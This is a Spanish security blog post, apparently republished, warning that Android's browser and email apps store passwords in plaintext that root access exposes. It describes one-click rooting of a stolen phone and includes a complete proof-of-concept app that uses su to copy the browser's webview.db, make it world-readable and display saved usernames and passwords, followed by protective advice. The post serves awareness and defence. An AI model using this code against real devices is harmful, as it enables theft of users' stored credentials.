Uno de los pilares básicos en los que se basa el
modelo de seguridad de Android
es que una aplicación de usuario no puede leer o escribir los archivos
de otras aplicaciones. Para ello, Android utiliza el modelo de permisos
de Linux sobre el que se ejecuta, y asigna a cada aplicación su propio
identificador de usuario, de tal forma que, en teoría, previene que los
datos de nuestra aplicación sean accedidos por terceros (o que nosotros
podamos acceder a datos de otras aplicaciones).
Este modelo funciona perfectamente siempre que en el sistema no esté
presente un superusuario que tenga acceso a cualquier parte del sistema
de ficheros (el famoso “root”). Por defecto, la mayoría de los teléfonos
Android que salen al mercado no tienen acceso root (salvo alguna
excepción como el
GeeksPhone One),
pero todos hemos comprobado como, invariablemente, han surgido métodos
para “rootear” todos y cada uno de estos teléfonos. Últimamente se ha
llegado a un nivel de sencillez tal, que en muchos teléfonos es
suficiente con
instalar una aplicación y pulsar un boton para conseguirlo
La mayoría de las veces los usuarios activan el acceso root a sus
teléfonos para poder instalar ROMs personalizadas, utilizar aplicaciones
que requieren acceso a partes protegidas del sistema, etc. sin darse
cuenta del riesgo de seguridad que esto supone.
Uno de los últimos riesgos que han salido a la luz pública es que, varias aplicaciones, incluidas el
cliente de email y el
navegador,
almacenan las contraseñas del usuario sin ningún tipo de cifrado. Lo
hacen así porque confían en la seguridad por defecto de Android que
asegura que ninguna otra aplicación será capaz de acceder a esos
ficheros para leerlos o escribirlos. Sin embargo, tal y como hemos visto
anteriormente, con lo sencillo que resulta obtener acceso root en la
mayoría de los terminales ésta es una medida claramente insuficiente.
Alguno podría pensar que se trata de un simple descuido o pereza de
los programadores de estas aplicaciones y que puede ser fácilmente
subsanable cifrando esa información, pero lo cierto es que, en realidad,
lo que se está produciendo es un balance entre la facilidad de uso y la
seguridad de la información almacenada. Proteger esas contraseñas
requeriría a su vez tener una contraseña para poder
cifrarlas/descifrarlas. Y… ¿cómo se guarda esa contraseña? ¿en texto
plano? ¿cifrada? Si la ciframos necesitamos a su vez una nueva
contraseña pero… ¿qué hacemos con la contraseña que cifra las contraseña
que cifra las contraseñas? Al final siempre es necesario que el propio
usuario introduzca algo que no puede almacenarse en el sistema y que
solo él sabe (o una característica biométrica como requiere
BioWallet).
En varios blogs se han publicado métodos para demostrar este fallo de
seguridad que requieren un teléfono rooteado, conectar el teléfono a un
PC y activar el modo depuración, extraer la base de datos y abrirla con
herramientas específicas, etc. Esto provoca una falsa sensación de
seguridad en aquellos usuarios menos experimentados, ya que piensan:
- Mi teléfono no está rooteado y por tanto está seguro.
- Mi teléfono está rooteado, pero para extraer las contraseñas tendrían que robármelo y ser prácticamente un hacker experto.
En realidad el riesgo de seguridad es mayor de lo que la mayoría de usuarios creen, ya que:
- Si tu teléfono no está rooteado y se pierde o te lo roban, conseguir
acceso root es cuestión de minutos incluso para alguien no experto.
- Si tu teléfono ya está rooteado no es necesario que te lo roben y lo
conecten a un PC. Cualquier aplicación que instales podría ser
maliciosa, acceder a tus contraseñas y enviarlas a cualquier sitio sin
que te dieses cuenta.
Para demostrar el verdadero riesgo que existe, a continuación vamos a
mostrar cómo conseguir acceso root a un teléfono móvil en cuestión de
segundos y vamos a presentar una aplicación de ejemplo que en pocas
líneas de código es capaz de acceder a las contraseñas almacenadas del
navegador y mostrarlas en pantalla.
Conseguir acceso root en el Motorola Droid.
Supongamos que alguien ha conseguido mi Morotola Droid que considero
seguro porque nunca se me ha ocurrido activar el acceso root. El
atacante solo tiene que:
- Descargar e instalar directamente desde el teléfono el UniversalAndroot (hay muchos más, este es solo uno de los más conocidos).
- Abrir el UniversalAndroot y pulsar el botón “Go Root”

- ¡Ya está! El usuario ahora es root en nuestro teléfono y puede tener
acceso a todas las contraseñas que han sido almacenadas en texto plano.
PasswordsExploit
En el caso de que nosotros mismos hayamos activado el acceso root al
teléfono el riesgo es incluso mayor, puesto que cualquier aplicación
maliciosa puede solicitarnos permiso de superusuario con otro pretexto
y, si no conocemos los riesgos de seguridad que eso implica y se lo
concedemos, podría estar accediendo a nuestras contraseñas almacenadas y
enviándolas a cualquier parte sin que nos diésemos cuenta. Para
demostrar lo sencillo que es crear una aplicación que haga esto y que no
es necesario ser un experto en seguridad, a continuación presentamos un
ejemplo que, en unas pocas líneas accede a las contraseñas recordadas
por el navegador y las muestra en pantalla (una aplicación maliciosa por
supuesto no las mostraría sino que las enviaría silenciosamente fuera
de tu teléfono).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
package com.mobbeel.passwordsexploit;
import java.io.DataOutputStream;
import java.io.IOException;
import android.app.ListActivity;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.os.Bundle;
import android.widget.ListAdapter;
import android.widget.SimpleCursorAdapter;
import android.widget.Toast;
public class PasswordsExploitActivity extends ListActivity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try {
//Get root access
Process process = Runtime.getRuntime().exec("su");
DataOutputStream os = new DataOutputStream(process.getOutputStream());
//copy the browser database to a readable directory
os.writeBytes("cp /data/data/com.android.browser/databases/webview.db /tmp \n");
//change the permissions to be readable by everybody
os.writeBytes("chmod 666 /tmp/webview.db \n");
os.writeBytes("exit\n");
os.flush();
process.waitFor();
//end of root commands. Now just open the database and query as usual
SQLiteDatabase db = SQLiteDatabase.openDatabase("/tmp/webview.db", null, SQLiteDatabase.OPEN_READONLY);
//SELECT * FROM password;
Cursor c = db.query("password", null, null, null, null, null, null);
startManagingCursor(c);
//display Usernames and Passwords on a list
ListAdapter adapter = new SimpleCursorAdapter(this,
android.R.layout.two_line_list_item, c,
new String[] { "username", "password" },
new int[] { android.R.id.text1, android.R.id.text2 });
setListAdapter(adapter);
} catch (IOException e) {
Toast.makeText(this, "This app needs root access.", Toast.LENGTH_SHORT).show();
e.printStackTrace();
} catch (InterruptedException e) {
Toast.makeText(this, "This app needs root access.", Toast.LENGTH_SHORT).show();
e.printStackTrace();
}
}
}
|
Al ejecutar esta aplicación, si ya hemos activado el modo root en el
teléfono nos pedirá permiso para ejecutar comandos como superusuario.
Nunca debemos dar este permiso a aplicaciones a no ser que confiemos
absolutamente en su origen.

Si concedemos el permiso de superusuario, la aplicación accede a los
usuarios/contraseñas recordados por el navegador y los muestra en una
lista.

Como conclusión, podemos dar unas recomendaciones para que tus contraseñas estén un poco más seguras:
- No actives el acceso root en tu teléfono a menos que seas un usuario
experimentado y tengas muy claros los riesgos de seguridad que esto
puede implicar.
- En caso de que ya seas root, no concedas permiso de superusuario a
aplicaciones de terceros que lo pidan a no ser que confíes absolutamente
en su origen.
- No utilices la opción de recordar contraseñas en el navegador ni en
ninguna otra aplicación que no las proteja a su vez con otra contraseña
(o una característica biométrica como BioWallet).
Este consejo lo haría extensivo no solo al navegador del teléfono sino
también a los navegadores del PC, clientes de mensajería instantánea,
etc. Cualquier aplicación que puede acceder a contraseñas recordadas sin
pedir tu identificación es porque no las está almacenando de forma
segura.
- Utiliza un gestor de contraseñas fiable para almacenar tu información sensible.
Fuente:
http://www.mobbeel.com/es/tus-passwords-no-estan-seguros-en-android/
Links de ayuda:
www.android.es/seguridad-android-188-te-pueden-ver-las-contrasenas-guardadas-en-el-navegador.html
the-darkfalcon.blogspot.com/2012/06/recuperar-contrasenas-almacenadas-en-tu.html
http://blog.desdelinux.net/pequeno-truco-para-revelar-contrasenas-en-tu-explorador-web/